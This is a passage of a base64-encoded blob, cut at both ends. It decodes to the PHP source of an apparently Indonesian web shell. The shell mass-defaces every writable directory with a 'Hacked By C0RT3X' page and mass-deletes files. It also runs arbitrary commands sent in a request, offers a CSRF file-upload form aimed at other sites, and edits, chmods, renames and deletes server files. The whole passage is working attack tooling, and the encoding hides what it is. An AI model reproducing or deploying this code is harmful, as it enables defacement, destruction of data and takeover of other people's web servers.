mxlKCRkaXJjKSkgewoJCQkJCQkJaWYoZmlsZV9leGlzdHMoJGxva2FzaSkpIHsKCQkJCQkJCQllY2hvICJbPGZvbnQgY29sb3I9bGltZT5ERUxFVEVEPC9mb250Pl0gJGxva2FzaTxicj4iOwoJCQkJCQkJCXVubGluaygkbG9rYXNpKTsKCQkJCQkJCQkkaWR4ID0gaGFwdXNfbWFzc2FsKCRkaXJjLCRuYW1hZmlsZSk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJCX0KCQl9Cgl9CglmdW5jdGlvbiBjbGVhcl9maWxsKCRmaWxlLCRpbmRleCl7CgkJaWYoZmlsZV9leGlzdHMoJGZpbGUpKXsKCQkJJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCd3Jyk7CgkJCWZ3cml0ZSgkaGFuZGxlLCcnKTsKCQkJZndyaXRlKCRoYW5kbGUsJGluZGV4KTsKCQkJZmNsb3NlKCRoYW5kbGUpOyAgfSB9CgoJZnVuY3Rpb24gZ2FzcygpewoJCWdsb2JhbCAkZGlyciAsICRpbmRleCA7CgkJY2hkaXIoJGRpcnIpOwoJCSRtZSA9IHN0cl9yZXBsYWNlKGRpcm5hbWUoX19GSUxFX18pLicvJywnJyxfX0ZJTEVfXyk7CgkJJGZpbGVzID0gc2NhbmRpcigkZGlycikgOwoJCSRub3RhbGxvdyA9IGFycmF5KCIuaHRhY2Nlc3MiLCJlcnJvcl9sb2ciLCJfdnRpX2luZi5odG1sIiwiX3ByaXZhdGUiLCJfdnRpX2JpbiIsIl92dGlfY25mIiwiX3Z0aV9sb2ciLCJfdnRpX3B2dCIsIl92dGlfdHh0IiwiY2dpLWJpbiIsIi5jb250YWN0ZW1haWwiLCIuY3BhbmVsIiwiLmZhbnRhc3RpY29kYXRhIiwiLmh0cGFzc3dkcyIsIi5sYXN0bG9naW4iLCJhY2Nlc3MtbG9ncyIsImNwYmFja3VwLWV4Y2x1ZGUtdXNlZC1ieS1iYWNrdXAuY29uZiIsIi5jZ2lfYXV0aCIsIi5kaXNrX3VzYWdlIiwiLnN0YXRzcHdkIiwiLi4iLCIuIik7CgkJc29ydCgkZmlsZXMpOwoJCSRuID0gMCA7CgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKXsKCQkJaWYgKCAkZmlsZSAhPSAkbWUgJiYgaXNfZGlyKCRmaWxlKSAhPSAxICYmICFpbl9hcnJheSgkZmlsZSwgJG5vdGFsbG93KSApIHsKCQkJCWVjaG8gIjxjZW50ZXI+PFNwYW4gc3R5bGU9J2NvbG9yOiAjOEE4QThBOyc+PHN0cm9uZz4kZGlyci88L3NwYW4+JGZpbGU8L3N0cm9uZz4gPT09PT4gIjsKCQkJCWVkaXRfZmlsZSgkZmlsZSwkaW5kZXgpOwoJCQkJZmx1c2goKTsKCQkJCSRuID0gJG4gKzEgOwoJCQkJfSAKCQkJCX0KCQkJCWVjaG8gIjxicj4iOwoJCQkJZWNobyAiPGNlbnRlcj48YnI+PGgzPiRuIEFuZGEgVGVsYWggTmdlY3JvdCAgRGlzaW5pIDwvaDM+PC9jZW50ZXI+PGJyPiI7CgkJCQkJfQoJZnVuY3Rpb24gTGlzdEZpbGVzKCRkaXJyYWxsKSB7CgogICAgaWYoJGRoID0gb3BlbmRpcigkZGlycmFsbCkpIHsKCiAgICAgICAkZmlsZXMgPSBBcnJheSgpOwogICAgICAgJGlubmVyX2ZpbGVzID0gQXJyYXkoKTsKICAgICAgICRtZSA9IHN0cl9yZXBsYWNlKGRpcm5hbWUoX19GSUxFX18pLicvJywnJyxfX0ZJTEVfXyk7CiAgICAgICAkbm90YWxsb3cgPSBhcnJheSgkbWUsIi5odGFjY2VzcyIsImVycm9yX2xvZyIsIl92dGlfaW5mLmh0bWwiLCJfcHJpdmF0ZSIsIl92dGlfYmluIiwiX3Z0aV9jbmYiLCJfdnRpX2xvZyIsIl92dGlfcHZ0IiwiX3Z0aV90eHQiLCJjZ2ktYmluIiwiLmNvbnRhY3RlbWFpbCIsIi5jcGFuZWwiLCIuZmFudGFzdGljb2RhdGEiLCIuaHRwYXNzd2RzIiwiLmxhc3Rsb2dpbiIsImFjY2Vzcy1sb2dzIiwiY3BiYWNrdXAtZXhjbHVkZS11c2VkLWJ5LWJhY2t1cC5jb25mIiwiLmNnaV9hdXRoIiwiLmRpc2tfdXNhZ2UiLCIuc3RhdHNwd2QiLCJUaHVtYnMuZGIiKTsKICAgICAgICB3aGlsZSgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewogICAgICAgICAgICBpZigkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIiAmJiAkZmlsZVswXSAhPSAnLicgJiYgIWluX2FycmF5KCRmaWxlLCAkbm90YWxsb3cpICkgewogICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRkaXJyYWxsIC4gIi8iIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgJGlubmVyX2ZpbGVzID0gTGlzdEZpbGVzKCRkaXJyYWxsIC4gIi8iIC4gJGZpbGUpOwogICAgICAgICAgICAgICAgICAgIGlmKGlzX2FycmF5KCRpbm5lcl9maWxlcykpICRmaWxlcyA9IGFycmF5X21lcmdlKCRmaWxlcywgJGlubmVyX2ZpbGVzKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgYXJyYXlfcHVzaCgkZmlsZXMsICRkaXJyYWxsIC4gIi8iIC4gJGZpbGUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgkJCX0KCgkJCWNsb3NlZGlyKCRkaCk7CgkJCXJldHVybiAkZmlsZXM7CgkJfQoJfQoJZnVuY3Rpb24gZ2Fzc19hbGwoKXsKCQlnbG9iYWwgJGluZGV4IDsKCQkkZGlycmFsbD0kX1BPU1RbJ2RfZGlyJ107CgkJZm9yZWFjaCAoTGlzdEZpbGVzKCRkaXJyYWxsKSBhcyAka2V5PT4kZmlsZSl7CgkJCSRmaWxlID0gc3RyX3JlcGxhY2UoJy8vJywiLyIsJGZpbGUpOwoJCQllY2hvICI8Y2VudGVyPjxzdHJvbmc+JGZpbGU8L3N0cm9uZz4gPT09PiI7CgkJCWVkaXRfZmlsZSgkZmlsZSwkaW5kZXgpOwoJCQlmbHVzaCgpOwoJCX0KCQkka2V5ID0gJGtleSsxOwoJZWNobyAiPGNlbnRlcj48YnI+PGgzPiRrZXkgQW5kYSBUZWxhaCBOZ2Vjcm90ICBEaXNpbmkgIDwvaDM+PC9jZW50ZXI+PGJyPiI7IH0KCWZ1bmN0aW9uIHNhYnVuX21hc3NhbCgkcGF0aCwkbmFtYWZpbGUsJGlzaV9zY3JpcHQpIHsKCQlpZihpc193cml0YWJsZSgkcGF0aCkpIHsKCQkJJGRpcmEgPSBzY2FuZGlyKCRwYXRoKTsKCQkJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewoJCQkJJGRpcmMgPSAiJHBhdGgvJGRpcmIiOwoJCQkJJGxva2FzaSA9ICRkaXJjLicvJy4kbmFtYWZpbGU7CgkJCQlpZigkZGlyYiA9PT0gJy4nKSB7CgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwoJCQkJfSBlbHNlaWYoJGRpcmIgPT09ICcuLicpIHsKCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7CgkJCQl9IGVsc2UgewoJCQkJCWlmKGlzX2RpcigkZGlyYykpIHsKCQkJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJCQllY2hvICJbPGZvbnQgY29sb3I9bGltZT5VUExPQURFRDwvZm9udD5dICRsb2thc2k8YnI+IjsKCQkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKCQkJCQkJCSRpZHggPSBzYWJ1bl9tYXNzYWwoJGRpcmMsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KaWYoJF9QT1NUWydtYXNzJ10gPT0gJ29uZWRpcicpIHsKCQllY2hvICI8YnI+IFZlcnNpIFRleHQgQXJlYTxicj48dGV4dGFyZWEgc3R5bGU9J2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7b3V0bGluZTpub25lO2NvbG9yOiNmMTI4NGU7Ym9yZGVyOjJweCBzb2xpZCAjZjEyODRlO2JvcmRlci1yYWRpdXM6MnB4OycgbmFtZT0naW5kZXgnIHJvd3M9JzEwJyBjb2xzPSc2Nyc+XG4iOwoJCSRpbmk9Imh0dHA6Ly8iOwoJCSRtYWlucGF0aD0kX1BPU1RbZF9kaXJdOwoJCSRmaWxlPSRfUE9TVFtkX2ZpbGVdOwoJCSRwYXRoPW9wZW5kaXIoIiRtYWlucGF0aCIpOwoJCSRjb2RlPWJhc2U2NF9lbmNvZGUoJF9QT1NUW3NjcmlwdF0pOwoJCSRpbmR4PWJhc2U2NF9kZWNvZGUoJGNvZGUpOwoJCXdoaWxlKCRyb3c9cmVhZGRpcigkcGF0aCkpewoJCSRzdGFydD1AZm9wZW4oIiRyb3cvJGZpbGUiLCJ3KyIpOwoJCSRmaW5pc2g9QGZ3cml0ZSgkc3RhcnQsJGluZHgpOwoJCWlmICgkZmluaXNoKXsKCQkJZWNobyIkaW5pJHJvdy8kZmlsZVxuIjsKCQkJfQoJCX0KCQllY2hvICI8L3RleHRhcmVhPjxicj48YnI+PGJyPjxiPlZlcnNpIFRleHQ8L2I+PGJyPjxicj48YnI+XG4iOwoJCSRkaXJyYWxsPSRfUE9TVFtkX2Rpcl07JGZpbGU9JF9QT1NUW2RfZmlsZV07CgkJJHBhdGg9b3BlbmRpcigiJG1haW5wYXRoIik7CgkJJGNvZGU9YmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CgkJJGluZHg9YmFzZTY0X2RlY29kZSgkY29kZSk7CgkJd2hpbGUoJHJvdz1yZWFkZGlyKCRwYXRoKSl7JHN0YXJ0PUBmb3BlbigiJHJvdy8kZmlsZSIsIncrIik7CgkJJGZpbmlzaD1AZndyaXRlKCRzdGFydCwkaW5keCk7CgkJaWYgKCRmaW5pc2gpe2VjaG8gJzxhIGhyZWY9Imh0dHA6Ly8nIC4gJHJvdyAuICcvJyAuICRmaWxlIC4gJyIgdGFyZ2V0PSJfYmxhbmsiPmh0dHA6Ly8nIC4gJHJvdyAuICcvJyAuICRmaWxlIC4gJzwvYT48YnI+JzsgfQoJCX0KCgl9CgllbHNlaWYoJF9QT1NUWydtYXNzJ10gPT0gJ3NhYnVua2FiZWgnKSB7IGdhc3MoKTsgfQoJZWxzZWlmKCRfUE9TVFsnbWFzcyddID09ICdzYWJ1bm1lbWF0aWthbicpIHsgZ2Fzc19hbGwoKTsgfQoJZWxzZWlmKCRfUE9TVFsnbWFzcyddID09ICdoYXB1c21hc3NhbCcpIHsKCQllY2hvICI8ZGl2IHN0eWxlPSdib3JkZXI6IDJweCBzb2xpZCAjZjEyODRlO2JvcmRlci1yYWRpdXM6MnB4O3dpZHRoOiA2MDBweDtwYWRkaW5nLWxlZnQ6IDVweDttYXJnaW46IDEwcHggYXV0bztyZXNpemU6IG5vbmU7YmFja2dyb3VuZDogIzAwMDtjb2xvcjogI2ZmZjtmb250LWZhbWlseToga2VsbHkgc2xhYjtmb250LXNpemU6NXB4Oyc+IjsKCQloYXB1c19tYXNzYWwoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddKTsgCgkJZWNobyAiPC9kaXY+IjsJfQoJZWxzZWlmKCRfUE9TVFsnbWFzcyddID09ICdtYXNzZGVmYWNlJykgewoJCWVjaG8gIjxkaXYgc3R5bGU9J2JvcmRlcjogMnB4IHNvbGlkICNmMTI4NGU7Ym9yZGVyLXJhZGl1czoycHg7d2lkdGg6IDYwMHB4O3BhZGRpbmctbGVmdDogNXB4O21hcmdpbjogMTBweCBhdXRvO3Jlc2l6ZTogbm9uZTtiYWNrZ3JvdW5kOiAjMDAwO2NvbG9yOiAjZmZmO2ZvbnQtZmFtaWx5OiBrZWxseSBzbGFiO2ZvbnQtc2l6ZTo1cHg7Jz4iOwoJCXNhYnVuX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJCWVjaG8gIjwvZGl2PiI7CX0KCWVsc2UgewoJCWVjaG8gIgoJCTxjZW50ZXI+PGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+CgkJUGlsaWggVHlwZSBNYXNzOjxicj4KCQk8L2ZvbnQ+CgkJPHNlbGVjdCBjbGFzcz1cInNlbGVjdFwiIG5hbWU9XCJtYXNzXCIgIHN0eWxlPVwiYm9yZGVyOiAycHggc29saWQgI2YxMjg0ZTsgYm9yZGVyLXJhZGl1czoycHg7d2lkdGg6IDQ1MHB4O2hlaWdodDogMjVweDtwYWRkaW5nLWxlZnQ6IDVweDttYXJnaW46IDEwcHggYXV0bztyZXNpemU6IG5vbmU7YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7Y29sb3I6IHdoaXRlO2ZvbnQtZmFtaWx5OiBrZWxseSBzbGFiO2ZvbnQtc2l6ZTogMThweDtcIj4KCQk8b3B0aW9uIHZhbHVlPVwibWFzc2RlZmFjZVwiPk1hc3MgRGVmYWNlIEFMTCBEaXI8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPVwic2FidW5tZW1hdGlrYW5cIj5NYXNzIERlZmFjZSBCdW51aCBEaXJpPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT1cIm9uZWRpclwiPk1hc3MgRGVmYWNlIDEgRGlyPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT1cInNhYnVua2FiZWhcIj5NYXNzIERlZmFjZSBEaSBUZW1wYXQ8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPVwiaGFwdXNtYXNzYWxcIj5NYXNzIERlbGV0ZSBGaWxlczwvb3B0aW9uPjwvY2VudGVyPjwvc2VsZWN0Pjxicj4KCQk8aSBjbGFzcz0nZmEgZmEtZm9sZGVyLW9wZW4nPjwvaT4mbmJzcDs8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5EaXJlY3Rvcnk6PC9mb250Pjxicj4KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckcGF0aCcgY2xhc3M9J2lzaGlraSc+PGJyPgoJCTxpIGNsYXNzPSdmYSBmYS1maWxlJz48L2k+Jm5ic3A7PGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+RmlsZW5hbWU6PC9mb250Pjxicj4KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9maWxlJyB2YWx1ZT0ndDN4Lmh0bScgY2xhc3M9J2Mwcic+PGJyPgoJCTxpIGNsYXNzPSdmYSBmYS1ib29rJz48L2k+Jm5ic3A7PGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+SW5kZXggRmlsZTo8L2ZvbnQ+PGJyPgoJCTx0ZXh0YXJlYSBuYW1lPSdzY3JpcHQnIGNsYXNzPSdrYXRzdW1pJz5IYWNrZWQgQnkgQzBSVDNYPC90ZXh0YXJlYT48YnI+CgkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdNdWxhaSBTZW5wYWknIHN0eWxlPSdmb250LWZhbWlseTprZWxseSBzbGFiO21hcmdpbi10b3A6MTBweDt3aWR0aDoxMDBweDtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2NvbG9yOiNmZmZmZmY7Ym9yZGVyOjJweCBzb2xpZCAjZjEyODRlO2JvcmRlci1yYWRpdXM6MnB4Oyc+CgkJPC9mb3JtPjwvY2VudGVyPiI7CgkJfQp9IGVsc2VpZihpc3NldCgkX0dFVFsnY3NyZiddKSA9PSAnY3NyZicpIHsKZWNobyAnPGh0bWw+Cjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD01MCU+Cjx0ZCBhbGlnbj0iY2VudGVyIj4KPGgyPjxmb250IGNvbG9yPSIjZjEyODRlIj5bPC9mb250PjxpIGNsYXNzPSJmYSBmYS11cGxvYWQiPjwvaT48Zm9udCBjb2xvcj0iI2YxMjg0ZSI+XTwvZm9udD48dT48Zm9udCBjb2xvcj0iI2ZmZiI+Q3Jvc3MgU2l0ZSBSZXF1ZXN0IEZvcmdlcnk8L2ZvbnQ+PC91PjwvaDI+Cjxmb3JtIG1ldGhvZD0icG9zdCI+CjxpIGNsYXNzPSJmYSBmYS1saW5rIj48L2k+Jm5ic3A7PGZvbnQgc2l6ZT0iNCI+PHU+VVJMOjwvdT48YnI+PC9mb250PjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaXNoaWtpIiBuYW1lPSJ1cmwiIHBsYWNlaG9sZGVyPSJodHRwOi8vd3d3LnRhcmdldC5jb20vW3BhdGhdL3VwbG9hZC5waHAiPjxicj4KPGkgY2xhc3M9ImZhIGZhLWZpbGUiPjwvaT4mbmJzcDs8Zm9udCBzaXplPSI0Ij48dT5QT1NUIEZpbGU6PC91Pjxicj48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlzaGlraSIgbmFtZT0icGYiIHBsYWNlaG9sZGVyPSIqTm90ZTogRmlsZWRhdGEgLyBmaWxlc1tdIC8gcXFmaWxlIC8gZmlsZSAvIGR6ZmlsZXMgLyB1c2VyZmlsZSAvIj48YnI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJ1cGxvYWQtc3R5bGUiIG5hbWU9ImQiIHZhbHVlPSJLdW5jaSBTZW5wYWkhIj4KPC9mb3JtPjxicj4nOwokdXJsID0gJF9QT1NUWyJ1cmwiXTsKJHBmID0gJF9QT1NUWyJwZiJdOwokZCA9ICRfUE9TVFsiZCJdOwppZigkZCkgewoJZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgYWN0aW9uPSckdXJsJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz48aW5wdXQgdHlwZT0nZmlsZScgY2xhc3M9J3RhdHN1eWEnIG5hbWU9JyRwZic+PGlucHV0IGNsYXNzPSd1cGxvYWQtc3R5bGUnIHR5cGU9J3N1Ym1pdCcgbmFtZT0nZycgdmFsdWU9J1VwbG9hZCBTZW5wYWkhJz48L2Zvcm0+PC9mb3JtPjxicj48L2JyPgoJCjwvaHRtbD4iOwp9Cn0gZWxzZWlmKGlzc2V0KCRfR0VUWydjbWQnXSkgPT0gJ2NtZCcpIHsKCWlmKCRfUE9TVFsnY21kJ10pIHsKCQllY2hvICI8cHJlPiIuZXhlKCRfUE9TVFsnY21kJ10pLiI8L3ByZT4iOwoJCX0KfWVsc2VpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gIT0gJ2RlbGV0ZScpewplY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKaWYoJF9QT1NUWydvcHQnXSA9PSAnY2htb2QnKXsKaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sJF9QT1NUWydwZXJtJ10pKXsKZWNobyAnPGZvbnQgY29sb3I9IiMwMkJDOEMiPkNoYW5nZSBQZXJtaXNzaW9uIEJlcmhhc2lsIFNlbnBhaSBeX148L2ZvbnQ+PGJyLz4nOwp9ZWxzZXsKZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIFBlcm1pc3Npb24gR2FnYWwgOig8L2ZvbnQ+PGJyIC8+JzsKfQp9CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+ClBlcm1pc3Npb24gOiA8aW5wdXQgbmFtZT0icGVybSIgdHlwZT0idGV4dCIgc2l6ZT0iNCIgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncGF0aCddKSksIC00KS4nIiAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTXBzaGgiIHN0eWxlPSJmb250LWZhbWlseTprZWxseSBzbGFiO21hcmdpbi10b3A6MTBweDt3aWR0aDozN3B4O2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Y29sb3I6I2ZmZmZmZjtib3JkZXI6MnB4IHNvbGlkICNmMTI4NGU7Ym9yZGVyLXJhZGl1czoycHgiLz4KPC9mb3JtPic7Cn1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAncmVuYW1lJyl7CmlmKGlzc2V0KCRfUE9TVFsnbmV3bmFtZSddKSl7CmlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsKZWNobyAnPGZvbnQgY29sb3I9IiMwMkJDOEMiPkdhbnRpIE5hbWEgQmVyaGFzaWwgU2VucGFpIF5fXjwvZm9udD48YnIvPic7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0icmVkIj5HYW50aSBOYW1hIEdhZ2FsIDooPC9mb250PjxiciAvPic7Cn0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgpOZXcgTmFtZSA6IDxpbnB1dCBuYW1lPSJuZXduYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJF9QT1NUWyduYW1lJ10uJyIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSZW5hbWUiIHN0eWxlPSJmb250LWZhbWlseTprZWxseSBzbGFiO21hcmdpbi10b3A6MTBweDt3aWR0aDo4MHB4O2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Y29sb3I6I2ZmZmZmZjtib3JkZXI6MnB4IHNvbGlkICNmMTI4NGU7Ym9yZGVyLXJhZGl1czoycHgiLz4KPC9mb3JtPic7Cn1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAnZWRpdCcpewppZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CmlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpewplY2hvICc8Zm9udCBjb2xvcj0iIzAyQkM4QyI+QmVyaGFzaWwgRWRpdCBGaWxlIFNlbnBhaSBeX148L2ZvbnQ+PGJyLz4nOwp9ZWxzZXsKZWNobyAnPGZvbnQgY29sb3I9InJlZCI+R2FnYWwgRWRpdCBGaWxlIDooPC9mb250Pjxici8+JzsKfQpmY2xvc2UoJGZwKTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyIgY2xhc3M9ImthdHN1bWkiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3BhdGgnXSkpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTYXZlIiBzdHlsZT0iZm9udC1mYW1pbHk6a2VsbHkgc2xhYjttYXJnaW4tdG9wOjEwcHg7d2lkdGg6NzBweDtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2NvbG9yOiNmZmZmZmY7Ym9yZGVyOjJweCBzb2xpZCAjZjEyODRlO2JvcmRlci1yYWRpdXM6MnB4Ii8+CjwvZm9ybT4nOwp9CmVjaG8gJzwvY2VudGVyPic7Cn1lbHNlewplY2hvICc8L3RhYmxlPjxici8+PGNlbnRlcj4nOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2RlbGV0ZScpewppZigkX1BPU1RbJ3R5cGUnXSA9PSAnZGlyJyl7CmlmKHJtZGlyKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gJzxmb250IGNvbG9yPSIjMDJCQzhDIj5EaXJlY3RvcnkgVGVyaGFwdXMgU2VucGFpIF5fXjwvZm9udD48YnIvPic7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0icmVkIj5EaXJlY3RvcnkgR2FnYWwgVGVyaGFwdXMgOiggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250Pjxici8+JzsKfQp9ZWxzZWlmKCRfUE9TVFsndHlwZSddID09ICdmaWxlJyl7CmlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpewplY2hvICc8Zm9udCBjb2xvcj0iIzAyQkM4QyI+RmlsZSBUZXJoYXB1czwvZm9udD48YnIvPic7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0icmVkIj5GaWxlIEdhZ2FsIERpaGFwdXM8L2ZvbnQ+PGJyLz4nOwp9Cn0KfQplY2hvICc8L2NlbnRlcj4nOwokc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOwplY2hvICc8ZGl2IGlkPSJjb250ZW50Ij48dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSI1IiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjUiIGFsaWduPSJjZW50ZXIiPgo8dHIgY2xhc3M9ImZpcnN0Ij4KPHRkPjxjZW50ZXI+TmFtZTwvcGVsbGVyPjwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPlNpemU8L3BlbGxlcj48L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj5QZXJtaXNzaW9uPC9wZWxsZXI+PC9jZW50ZXI+PC90ZD4KPHRkPjxjZW50ZXI+TW9kaWZ5PC9wZWxsZXI+PC9jZW50ZXI+PC90ZD4KPC90cj4nOwoKZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsKaWYoIWlzX2RpcigkcGF0aC4nLycuJGRpcikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKZWNobyAnPHRyPgo8dGQ+PGEgaHJlZj0iP3BhdGg9Jy4kcGF0aC4nLycuJGRpci4nIj4nLiRkaXIuJzwvYT48L3RkPgo8dGQ+PGNlbnRlcj4tLTwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPic7CmlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29sb3I9IiMwMkJDOEMiPic7CmVsc2VpZighaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwplY2hvIHBlcm1zKCRwYXRoLicvJy4kZGlyKTsKaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRkaXIpIHx8ICFpc19yZWFkYWJsZSgkcGF0aC4nLycuJGRpcikpIGVjaG8gJzwvZm9udD4nOwoKZWNobyAnPC9jZW50ZXI+PC90ZD4KPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9vcHRpb24mcGF0aD0nLiRwYXRoLiciPgo8c2VsZWN0IG5hbWU9Im9wdCIgY2xhc3M9InNlbmEiPgo8b3B0aW9uIHZhbHVlPSIiPlNlbGVjdDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJkZWxldGUiPkRlbGV0ZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJjaG1vZCI+Q2htb2Q8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0icmVuYW1lIj5SZW5hbWU8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJkaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJuYW1lIiB2YWx1ZT0iJy4kZGlyLiciPgo8aW5wdXQgd